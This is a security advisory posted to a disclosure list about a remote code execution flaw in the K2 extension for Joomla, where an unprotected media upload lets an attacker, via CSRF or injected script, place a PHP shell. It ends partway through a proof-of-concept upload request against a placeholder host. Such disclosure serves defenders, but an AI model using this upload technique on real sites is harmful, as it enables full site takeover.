[FD] Joomla plugin K2 RCE via CSRF or WCI

K2 RCE via CSRF or WCI ###################### Information =========== Name: K2 Joomla! Extension 2.5.0 - 2.7.1 Software: K2 Platform: Joomla 3.6.2 Homepage: https://getk2.org/, http://ift.tt/2aABoZV Vulnerability: RCE, arbitrary file upload, missing CSRF protection Prerequisites: victim has to be authenticated user with administrator role CVE: pending Credit: Anti Räis HTML version: https://bitflipper.eu Product ======= K2 is a Joomla! extension for complete replacement of the default article system, which is used to edit the Joomla administration panel and the website. Description =========== The administrator panel of K2 suffers from arbitrary file upload which leads to arbitrary PHP code execution. An attacker could trick an administrator to upload a malicious file (PHP shell) and execute arbitrary PHP code using it. This functionality is available by default to users with administrator role (admin, super user), therefore limiting the attack surface to authenticated administrator users. The file upload functionality isn't protected by CSRF token, which makes it possible to exploit it by constructing a malicious request, which on execution exploits the vulnerability, while the victim visits the attacker controlled site. In addition, the attacker can use a WCI vulnerability on the site to exploit the arbitrary file upload vulnerability. Successful exploitation could lead to full site compromise. Proof of Concept ================ Presumption: attacker has access to Joomla administrator account; or uses an CSRF attack; or uses a WCI to upload a PHP shell and execute code. Let's presume the attacker has access to an account with file upload privilege. Files can be uploaded by using the K2 "Media manager" functionality. URL: http://ift.tt/2ga2l9v ==================== request ======================== POST /administrator/index.php?option=com_k2&view=media&task=connector HTTP/1.1 Host: victim.site Content-Length: 460 Origin: http://victim.site Content-Type: multipart/form-data; boundary

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